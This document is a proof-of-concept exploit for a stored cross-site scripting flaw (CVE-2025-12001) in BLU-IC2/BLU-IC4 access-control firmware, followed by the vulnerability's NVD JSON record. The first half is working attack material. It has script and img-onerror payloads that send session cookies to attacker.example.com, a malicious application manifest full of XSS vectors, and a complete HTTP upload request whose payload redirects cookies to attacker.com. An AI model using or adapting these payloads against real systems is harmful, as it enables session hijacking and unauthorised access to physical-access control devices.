CVE-2025-12001

<!-- CVE-2025-12001 - BLU-IC2/BLU-IC4 Stored XSS via Application Manifest --> <!-- This PoC demonstrates how a malicious application manifest can inject scripts --> <!-- Malicious manifest payload injected into the application name field --> <script> // Steal session cookies and send to attacker server var img = new Image(); img.src = 'https://attacker.example.com/steal?cookie=' + encodeURIComponent(document.cookie); </script> <!-- Alternative payload using img onerror event handler --> <img src="x" onerror="fetch('https://attacker.example.com/exfil', {method:'POST', body:JSON.stringify({cookies:document.cookie, url:location.href})})"> <!-- Example of malicious application manifest JSON payload --> { "application_name": "<script>alert('XSS-CVE-2025-12001')</script>", "description": "<img src=x onerror=alert(document.domain)>", "version": "1.0.0", "author": "<svg onload=alert(1)>", "url": "javascript:alert('XSS')" } <!-- HTTP request example to upload malicious manifest --> POST /api/v1/applications/manifest HTTP/1.1 Host: target-blu-ic2.example.com Content-Type: application/json Cookie: session=<valid_session_cookie> { "name": "Legit App<script>document.location='https://attacker.com/?c='+document.cookie</script>", "description": "Normal description with <script>alert('stored-xss')</script> payload", "config": {} }

{"cve": {"id": "CVE-2025-12001", "sourceIdentifier": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "published": "2025-10-20T22:15:36.900", "lastModified": "2025-11-07T20:15:52.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Lack of application manifest sanitation could lead to potential stored XSS.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5."}], "metrics": {"cvssMetricV40": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic2_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "00BF15A1-C965-4601-83E9-8617B86E833A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic2:*:*:*:*:*:*:*:*", "matchCriteriaId": "C898C110-6C42-40A0-93FC-B6ED785F23A9"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic4_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "6493C6E4-1304-4B28-A6C5-37CE2D1EAE46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic4:*:*:*:*:*:*:*:*", "matchCriteriaId": "902CD787-42BF-4565-8CA5-78123E37AA99"}]}]}], "references": [{"url": "https://azure-access.com/security-advisories", "source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "tags": ["Vendor Advisory"]}]}}